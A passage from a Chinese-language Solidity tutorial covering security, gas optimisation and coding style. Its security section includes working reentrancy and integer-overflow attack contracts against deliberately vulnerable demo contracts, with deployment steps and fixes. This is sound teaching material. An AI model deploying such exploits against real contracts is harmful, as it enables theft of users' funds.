* an operation where the timelock is the target and the data is the ABI-encoded call to this function.
*/
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "TimelockController: caller must be timelock");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
/**
* @dev See {IERC721Receiver-onERC721Received}.
*/
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
/**
* @dev See {IERC1155Receiver-onERC1155Received}.
*/
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
/**
* @dev See {IERC1155Receiver-onERC1155BatchReceived}.
*/
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
重入攻击
什么是重入攻击?
合约取款方法被多次触发,导致发送金额不符合预期流程。
攻击演示
合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
contract Demo {
mapping(address => uint256) public balances;
// 存款
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// 取款
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: _amount}("");
require(success, "Failed to send");
balances[msg.sender] -= _amount;
}
/*
* ========================================
* Helper
* ========================================
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
contract Attack {
Demo public demo;
constructor(address _demoAddress) public {
demo = Demo(_demoAddress);
}
fallback() external payable {
if (address(demo).balance >= 1 ether) {
demo.withdraw(1 ether);
}
}
function attack() external payable {
require(msg.value >= 1 ether, "need 1 ether");
demo.deposit{value: 1 ether}();
demo.withdraw(1 ether);
}
/*
* ========================================
* Helper
* ========================================
*/
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
合约测试
address1 部署
Demo
address1 调用
Demo.deposit
存入 10 ETHaddress1 调用
Demo.getBalance
查看余额address2 部署攻击合约
Attack
;参数是 Demo 合约地址
address2 调用
Attack.attack
,并且发送 1Eth,发起攻击查看
Attack.getBalance
余额查看
Demo.getBalance
余额
如何避免重入攻击?
先赋值再进行转账
修改前:
(bool success, ) = msg.sender.call{value: _amount}(""); require(success, "Failed to send"); balances[msg.sender] -= _amount;
修改后:
balances[msg.sender] -= _amount; (bool success, ) = msg.sender.call{value: _amount}(""); require(success, "Failed to send");
修改后,再次跳用,因为数据已经被修改了,所以报错
"Failed to send".
使用新版本的 Solidity 编写,
比如上面使用的是
^0.6.10
,换成^0.8.16
就没有这个问题。
使用状态变量和
modifier
配合做防重入锁比如在
withdraw
上增加如下修改器。
bool internal locked; modifier noReentrant() { require(!locked, "no reentrant"); locked = true; _; locked = false; }
数学溢出攻击
uint
相当于uint256
范围:
0 <= x <= 2**256 -1
上溢(overflow): 超出
2**256 -1
后,变成 0下溢(underflow): 低于
0
后,变成2**256 -1
合约演示
下面是一个锁定合约,可以通过攻击,忽略锁定期直接取钱,无需等待。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
contract Demo {
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
// 存
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
// 取
function withdraw() external {
require(balances[msg.sender] > 0, "Insufficient balance");
require(lockTime[msg.sender] < block.timestamp, "lock-in period");
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Send failed");
}
// 续时间
function increaseLockTime(uint256 time) public {
lockTime[msg.sender] += time;
}
}
contract Attack {
Demo public demo;
constructor(address _demoAddress) public {
demo = Demo(_demoAddress);
}
fallback() external payable {}
function attack() external payable {
demo.deposit{value: msg.value}();
// uint(-1) => uint(2**256-1)
// currentTime = demo.balances(msg.sender)
// 增加的时间 x = 2**256 - currentTime
// 增加的时间 x = - currentTime
demo.increaseLockTime(uint256(-demo.lockTime(address(this))));
demo.withdraw();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
合约测试
部署 Demo
部署 Attack ,使用 Demo 地址。
使用
Attack.attack
调用
Attack.getBalance
发现钱已经取回来了。
如何避免溢出攻击?
使用高版本的 Solidity,比如
^0.8.16;
引用
OpenZeppelin
,使用其中的SafeMath
进行操作此时再进行攻击,会收到 SafeMath 内的报错
"SafeMath: addition overflow".
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/math/SafeMath.sol"; function increaseLockTime(uint256 time) public { // lockTime[msg.sender] += time; lockTime[msg.sender] = lockTime[msg.sender].add(time); // add 是 SafeMath 内的方法 }
推荐做法
以下内容来自 Solidity 合约文档
认真对待警告
如果编译器警告您一些事情,您应该改变它。 即使您不认为这个特定的警告有安全问题,但也可能在它下面埋藏着另一个问题。 我们发出的任何编译器警告都可以通过对代码的轻微修改来消除。
始终使用最新版本的编译器,以获知所有最近引入的警告。
编译器发出的 info
类型的信息并不危险,只是代表编译器认为可能对用户有用的额外建议和可选信息。
限制以太币的数量
限制智能合约中可存储的以太币(或其他代币)的数量。 如果您的源代码,编译器或平台有错误,这些资金可能会丢失。 如果您想限制您的损失,就限制以太币的数量。
保持合约简练且模块化
保持您的合约短小而容易理解。把不相关的功能单独放在其他合约中或放在库中。 关于源代码质量的一般建议当然也适用:限制局部变量的数量和函数的长度,等等。 给您的函数添加注释,这样别人就可以看到您的意图是什么, 并判断代码是否按照正确的意图实现。
使用“检查-生效-交互”(Checks-Effects-Interactions)模式
大多数函数会首先进行一些检查(谁调用了这个函数,参数是否在范围内, 他们是否发送了足够的以太,这个人是否有代币,等等)。这些检查应该首先完成。
第二步,如果所有的检查都通过了,就应该对当前合约的状态变量进行影响。 与其他合约的交互应该是任何函数的最后一步。
早期的合约延迟了一些效果,等待外部函数调用在非错误状态下返回。 这往往是一个严重的错误,因为上面解释了重入问题。
请注意,对已知合约的调用也可能反过来导致对未知合约的调用,因此,最好总是应用这种模式。
包含故障-安全(Fail-Safe)模式
尽管将系统完全去中心化可以省去许多中间环节,但包含某种故障-安全模式仍然是好的做法, 尤其是对于新的代码来说:
您可以在您的智能合约中添加一个功能,执行一些自我检查,如 “是否有任何以太币泄漏?”, “代币的总和是否等于合约的余额?” 或类似的事情。 请记住,您不能为此使用太多的 gas,所以可能需要通过链外计算的帮助。
如果自我检查失败,合约会自动切换到某种 “故障安全” 模式, 例如,禁用大部分功能,将控制权移交给一个固定的,可信赖的第三方, 或者只是将合约转换为一个简单的 “退回我的钱” 的合约。
请求同行评审
检查一段代码的人越多,发现的问题就越多。 要求其他人审查您的代码也有助于作为交叉检查, 找出您的代码是否容易理解 - 这是好的智能合约的一个非常重要的标准。
扩展阅读
下面是相关的官方中文文档,推荐阅读。
安全考虑
https://docs.soliditylang.org/zh/latest/security-considerations.html
SMTChecker 和形式化验证
https://docs.soliditylang.org/zh/latest/smtchecker.html
Gas 优化
省钱总结
使用短路模式来排序操作
函数使用
external
+calldata
对
memory
类型的参数,使用external
并且参数标注calldata
是最省钱的。
使用正确的数据类型
gas 由小到大: 值类型
<
引用类型
循环中不操作
storage
变量循环中的不重复计算数据
能不在循环中操作的数据,就尽量放在外面计算
多个循环可以合并就尽量合并.(循环尽量不用)
可预测的结果,不通过代码计算。
避免死代码
避免不必要的判断
删除不必要的库
函数中能不 retrun,就尽量不 return
库合约使用 using for 比直接使用更省 gas
mapping 的 key 使用 bytes32,而不使用字符串,可以省 Gas;
private
变量比public
变量更节省 Gas
使用短路模式来排序操作
短路(short-circuiting)是利用逻辑或(||
),逻辑与(&&
)的特性,来排序不同成本操作的开发模式;核心是 它将低 gas 成本的操作放在前面,高 gas 成本的操作放在后面;这样如果前面的低成本操作不可行,就可以跳过(短路)后面的高成本以太坊操作了。
前面判断为 true,执行后面的条件判断
前面判断为 false,跳过后面的条件判断
这样就把后面条件的运行 gas 给节省下来了
// f(x) 是低gas成本的操作
// g(y) 是高gas成本的操作
// 按如下排序不同gas成本的操作
f(x) || g(y)
f(x) && g(y)
这里哪个判断在前面,哪个判断在后面,需要根据实际情况来安排。
下面是例子说明,一个非常简单的值判断:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// gas值如下
// 输入 1: 22050
// 输入 2: 22065
// 输入 101: 22050
// 输入 102: 22055
// 平均值: (22050+22065+22050+22055)/4 = 22055
function test1(uint256 _amount) external pure returns (bool) {
bool isEven = _amount % 2 == 0;
bool isLessThan99 = _amount < 99;
if (isEven && isLessThan99) {
return true;
}
return false;
}
// gas值如下
// 输入 1: 22040
// 输入 2: 22061
// 输入 101: 22040
// 输入 102: 22051
// 平均值: (22040+22061+22040+22051)/4 = 22048
function test2(uint256 _amount) external pure returns (bool) {
if (_amount % 2 == 0 && _amount < 99) {
return true;
}
return false;
}
// gas值如下
// 输入 1: 22073
// 输入 2: 22083
// 输入 101: 21881
// 输入 102: 21881
// 平均值: (22073+22083+21881+21881)/4 = 21979.5 ✅ 平均值最低
function test3(uint256 _amount) external pure returns (bool) {
if (_amount < 99 && _amount % 2 == 0) {
return true;
}
return false;
}
}
函数使用external
+ calldata
在合约开发种,显式声明函数的可见性不仅可以提高智能合约的安全性,同时也有利于优化合约执行的 gas 成本。
例如,通过显式地标记函数为外部函数 external
,可以强制将函数参数的存储位置设置为 calldata,这会节约每次函数执行时所需的以太坊 gas 成本。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// gas值如下
// 输入 a : 22965
// 输入 abc : 22989
// 输入 hello : 23013
// 平均值: (22965+22989+23013)/3 = 22989
function test1(string memory _str) public pure returns (string memory) {
return _str;
}
// gas值如下
// 输入 a : 22943
// 输入 abc : 22967
// 输入 hello : 22991
// 平均值: (22943+22967+22991)/3 = 22967
function test2(string memory _str) external pure returns (string memory) {
return _str;
}
// gas值如下
// 输入 a : 22705
// 输入 abc : 22729
// 输入 hello : 22753
// 平均值: (22705+22729+22753)/3 = 22729 ✅ 平均值最低
function test3(string calldata _str) external pure returns (string memory) {
return _str;
}
}
注意这种方法只对 memory
类型的数据有效,如果是操作普通的类型,可见性没有影响。如下例子我将上面短路操作例子中 external
改为 public
,所消耗的 gas 并没有任何影响
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// gas值如下
// 输入 1: 22050 | 改为 public 后: 22050
// 输入 2: 22065 | 改为 public 后: 22065
// 输入 101: 22050 | 改为 public 后: 22050
// 输入 102: 22055 | 改为 public 后: 22055
// 平均值: (22050+22065+22050+22055)/4 = 22055
function test1(uint256 _amount) public pure returns (bool) {
bool isEven = _amount % 2 == 0;
bool isLessThan99 = _amount < 99;
if (isEven && isLessThan99) {
return true;
}
return false;
}
// gas值如下
// 输入 1: 22040 | 改为 public 后: 22040
// 输入 2: 22061 | 改为 public 后: 22061
// 输入 101: 22040 | 改为 public 后: 22040
// 输入 102: 22051 | 改为 public 后: 22051
// 平均值: (22040+22061+22040+22051)/4 = 22048
function test2(uint256 _amount) public pure returns (bool) {
if (_amount % 2 == 0 && _amount < 99) {
return true;
}
return false;
}
// gas值如下
// 输入 1: 22073 | 改为 public 后: 22073
// 输入 2: 22083 | 改为 public 后: 22083
// 输入 101: 21881 | 改为 public 后: 21881
// 输入 102: 21881 | 改为 public 后: 21881
// 平均值: (22073+22083+21881+21881)/4 = 21979.5 ✅ 平均值最低
function test3(uint256 _amount) public pure returns (bool) {
if (_amount < 99 && _amount % 2 == 0) {
return true;
}
return false;
}
}
使用正确的数据类型
有些数据类型要比另外一些数据类型的 gas 成本高。我们有必要了解可用数据类型的 gas 利用情况,以便根据你的需求选择效率最高的那种。下面是关于数据类型 gas 消耗情况的一些规则:
在任何可以使用
uint256
类型的情况下,不要使用string
类型存储
uint256
要比存储uint8
的 gas 成本低,为什么?点击这里 查看原文当可以使用
bytes32
类型时,不要使用byte[]
类型如果
bytes32
的长度有可以预计的上限,那么尽可能改用bytes1
~bytes32
这些具有固定长度的类型bytes32
所需的 gas 成本要低于string
类型bool > unit256 > uint8 > bytes1 > bytes32 > bytes > string
存储对比
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256 public test3 = 0; // 23494
uint8 public test1 = 0; // 23554
bool public test2 = false; // 23630
bytes1 public test4 = 0x30; // 23601
// 23516
bytes32 public test5 =
0x3000000000000000000000000000000000000000000000000000000000000000;
string public test7 = "0"; // 24487
bytes public test6 = bytes("0"); // 24531
}
返回对比
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// uint256 :21415
function test1() external pure returns (uint256) {
return 0;
}
// uint8 : 21444
function test2() external pure returns (uint8) {
return 0;
}
// bool :21400
function test3() external pure returns (bool) {
return false;
}
// bytes1 :21479
function test4() external pure returns (bytes1) {
return 0x30;
}
// bytes32 :21430
function test5() external pure returns (bytes32) {
return
0x3000000000000000000000000000000000000000000000000000000000000000;
}
// bytes :21845
function test6() external pure returns (bytes memory) {
return bytes("0");
}
// string :21801
function test7() external pure returns (string memory) {
return "0";
}
}
循环中不操作 storage
变量
管理 storage 变量的 gas 成本要远远高于内存变量,所以要避免在循环中操作 storage 变量。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256 public num = 0;
// 输入 5 : 46475 gas
function test1(uint256 x) public {
for (uint256 i = 0; i < x; i++) {
num += 1;
}
}
// 输入 5 : 45651 gas
function test2(uint256 x) public {
uint256 temp = num;
for (uint256 i = 0; i < x; i++) {
temp += 1;
}
num = temp;
}
}
循环中的不重复计算数据
能不在循环中操作的数据,就尽量放在外面计算
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256 a = 4;
uint256 b = 5;
function repeatedComputations(uint256 x) public view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i <= x; i++) {
sum = sum + a * b;
}
}
}
尽量少用循环
多个循环可以合并就尽量合并,循环尽量不用
有时候在 Solidity 智能合约中,你会发现两个循环的判断条件一致,那么在这种情况下就没有理由不合并它们。例如下面的以太坊合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function loopFusion(uint256 x, uint256 y) public pure returns (uint256) {
for (uint256 i = 0; i < 100; i++) {
x += 1;
}
for (uint256 i = 0; i < 100; i++) {
y += 1;
}
return x + y;
}
}
可预测的结果,不通过代码计算。
如果一个循环计算的结果是无需编译执行代码就可以预测的,那么就不要使用循环,这可以可观地节省 gas。
例如下面的以太坊合约代码就可以直接设置 num 变量的值:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function constantOutcome() public pure returns (uint256) {
uint256 num = 0;
for (uint256 i = 0; i < 100; i++) {
num += 1;
}
return num;
}
}
避免死代码
死代码(Dead code)是指那些永远也不会执行的 Solidity 代码,例如那些执行条件永远也不可能满足的代码,就像下面的两个自相矛盾的条件判断里的代码块,消耗了以太坊 gas 资源但没有任何作用:
if (x < 1) {
if (x > 2) {
return x;
}
}
避免不必要的判断
有些条件断言的结果不需要代码的执行就可以了解,那么这样的条件判断就可以精简掉。例如下面的 Solidity 合约代码中的两级判断条件,最外层的判断是在浪费宝贵的以太坊 gas 资源:
if(x < 1) {
if(x < 0) {
return x;
}
}
删除不必要的库
在开发 Solidity 智能合约时,我们引入的库通常只需要用到其中的部分功能,这意味着其中可能会包含大量对于我们的智能合约而言是冗余代码。如果可以在自己的合约里安全有效地实现所依赖的库功能,那么就能够达到优化合约的 gas 利用的目的。
例如,在下面的 solidity 代码中,我们的以太坊合约只是用到了 SafeMath 库的 add 方法:
import './SafeMath.sol' as SafeMath;
contract SafeAddition {
function safeAdd(uint a, uint b) public pure returns(uint) {
return SafeMath.add(a, b);
}
}
contract SafeAddition {
function safeAdd(uint a, uint b) public pure returns(uint) {
uint c = a + b;
require(c >= a, "Addition overflow");
return c;
}
}
优化案例
本篇主要介绍 gas 的优化。
函数输入参数:使用
calldata
,不使用memory
。读取状态变量:使用。
使用数组时候:
for 循环时,缓存数组长度
储存数组的元素到
memory
。
short circuit:
&&
短路操作A && B
,A 表达式 不成立,则不计算 B 表达式
loop increments
下面默认的 Gas 是 50518 gas
原始代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Gas {
uint256 public total;
// [1,2,3,4,5,100]
function demo(uint256[] memory nums) external {
for (uint256 index = 0; index < nums.length; index++) {
bool isEven = nums[index] % 2 == 0;
bool isLessThan99 = nums[index] < 99;
if (isEven && isLessThan99) {
total += nums[index];
}
}
}
}
/**
* 默认: 50518 gas
*/
优化后
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Gas {
uint256 public total;
// [1,2,3,4,5,100]
function demo(uint256[] calldata nums) external {
uint256 _total = total;
uint256 len = nums.length;
for (uint256 index = 0; index < len; ++index) {
uint256 num = nums[index];
if (num % 2 == 0 && num < 99) {
_total += num;
}
}
total = _total;
}
}
/**
* 默认 => 50518 gas
* 1. 函数参数不使用 memory,改用 calldata
* => 48773 节省了 1745
* 2. 状态变量在函数内不每次都读取和修改,缓存到内存里,统一修改
* => 48562 节省了 211
* 3. 短路(条件 &&)
* => 48244 节省了 318
* 4. 循环增量 i++ 改为 ++i
* => 48214 节省了 30
* 5. 循环时,缓存数组的长度 uint256 len = nums.length;
* => 48179 节省了 35
* 6. 数组的元素,提前缓存,不重复读取
* => 48017 节省了 162
*
*/
合约编码规范
良好统一的编程风格,有助于提高代码的可读性和可维护性。根据风格整理成规范,可以让团队之间更好的配合。
下面是我结合网络上别人分享的内容,以及参考 Vscode 代码格式化整理优化出的;抛砖引玉,仅供参考。
如果合约对状态变量进行了修改,需要抛出事件。
构造函数的参数必须是
storage
或memory
,不能使用calldata
;版权注释在文件的任何位置都可以被编译器识别,但建议把它放在文件的顶部第一行。
代码布局
源码编码
UTF-8
缩进
使用 4 个空格代替制表符作为缩进,避免空格与制表符混用。
2 个合约定义之间空 2 行。
pragma solidity ^0.5.0; contract LedgerBalance { //... } contract Updater { //... }
2 个函数之间空 1 行,在只有声明的情况下,不需要空行。
pragma solidity ^0.5.0; contract A { function balance() public pure; function account() public pure; } contract B is A { function balance() public pure { // ... } function account() public pure { // ... } }
单行不要太长,VScode 一行默认不超过 80 个字符。
函数声明如果太长,左括号不换行,每个参数一行并缩进,右括号换行,并对齐左括号所在行。
function_with_a_long_name( longArgument1, longArgument2, longArgument3 ); variable = function_with_a_long_name( longArgument1, longArgument2, longArgument3 ); event multipleArguments( address sender, address recipient, uint256 publicKey, uint256 amount, bytes32[] options ); MultipleArguments( sender, recipient, publicKey, amount, options );
避免在圆括号、方括号或大括号后有空格。
控制结构的大括号左括号不换行,右括号换行,与左括号所在行对齐。
pragma solidity ^0.5.0; contract Coin { struct Bank { address owner; uint balance; } } if (x < 3) { x += 1; } else if (x > 7) { x -= 1; } else { x = 5; } if (x < 3) x += 1; else x -= 1;
函数声明,添加可见性标签。可见性标签应该放在自定义修饰符之前。
function kill() public onlyowner { selfdestruct(owner); }
声明映射变量时避免多余空格。
mapping(uint => uint) map; // 不是 mapping (uint => uint) map; mapping(address => bool) registeredAddresses; mapping(uint => mapping(bool => Data[])) public data; mapping(uint => mapping(uint => s)) data;
声明数组变量时避免多余空格。
uint[] x; // 不是 unit [] x;
字符串声明,使用双引号声明字符串,而不是单引号。
str = "foo"; str = "Hamlet says, 'To be or not to be...'";
代码中各部分的顺序
代码中各部分顺序如下:
License
Pragma
import
interface
library
contract
在 Interface、库或 Contract 中,各部分顺序应为:
Type declaration : 类型声明
State variable : 状态变量
Event : 事件
Modifier : 函数修改器
Errors : 自定义错误
Constructor : 构造函数
Function : 函数
函数按visibility:可见性进行排序:
External - Public - Internal - Private
同一可见性,按照 mutability:状态可变性 排序:
payable - 无 - view - pure
// External functions // ... // External view functions // ... // External pure functions // ... // Public functions // ... // Internal functions // ... // Private functions // ...
Helper : 辅助函数
文件结构分享
我的文件结构,分享给大家,仅供参考,抛砖引玉。代码块分割主要是让合约的逻辑更清晰,团队合作写代码的时候,都能按照统一的约定来进行编码。
不同功能的代码块使用下面任意一种做明显标记。
第一种:
/*
* ========================================
* State Variables
* ========================================
*/
第二种:(两边各 12 个 =
)
/* ============ State Variables ============ */
如果需要写详细的 NetSpec 注释,我比较喜欢使用第一种。如果是不需要这样做,比较喜欢第二种。第一种写法,在第一章同志们好 那里已经演示过了,这里演示第二种写法。如下是写法的演示:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// import
// interface
// library
contract Demo {
/* ============ Type Declaration ============ */
struct Book {
string title;
string author;
uint256 book_id;
}
/* ============ State Variables ============ */
address public immutable owner;
Book[] public bookcase;
/* ============ Events ============ */
event Hello(string);
/* ============ Modifier ============ */
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
/* ============ Errors ============ */
error MyError(string);
/* ============ Constructor ============ */
constructor() {
owner = msg.sender;
}
/* ============ Functions ============ */
/* ============ External Functions ============ */
function hello() external onlyOwner {
emit Hello("Hello Comrades");
}
/* ============ Helper ============ */
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
命名约定
合约和库名: 大驼峰式命名。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract Owned { //... }
合约和库名: 匹配它们的文件名。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; // 文件名:Owned.sol contract Owned { //... }
如果文件中有多个合约/库,使用核心合约/库的名称。🤔️
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; // 文件名:Owned.sol contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { //.... _; } function transferOwnership(address newOwner) public onlyOwner returns(true){ //... return true; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; import "./Owned.sol"; // Congress.sol contract Congress is Owned { //... }
结构体名称: 大驼峰式命名。
struct BookInfo { string title; string author; uint256 book_id; }
事件名称: 大驼峰式命名
event AfterTransfer(address ads);
函数名: 小驼峰命名
function balanceOf(address account) external view returns (uint256){};
internal
函数名:_
+小驼峰命名function _grantRole(address _ads, bytes32 _role) internal {}
internal
变量:_
+小驼峰函数参数:小驼峰+
_
constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; }
局部变量和状态变量:小驼峰命名
mapping(address => uint256) public balanceOf;
常量:大写字母单词用下划线分隔。
address public constant MIN_BLOCKS;
函数修改器: 小驼峰命名
modifier onlyOwner(){ require(msg.sender==owner,"must owner address"); _; }
枚举的名字:大驼峰式命名
enum Status { None, Pending, Shiped, Completed, Rejected, Canceled }
更多内容
重要需要总结的内容:
https://docs.soliditylang.org/zh/latest/style-guide.html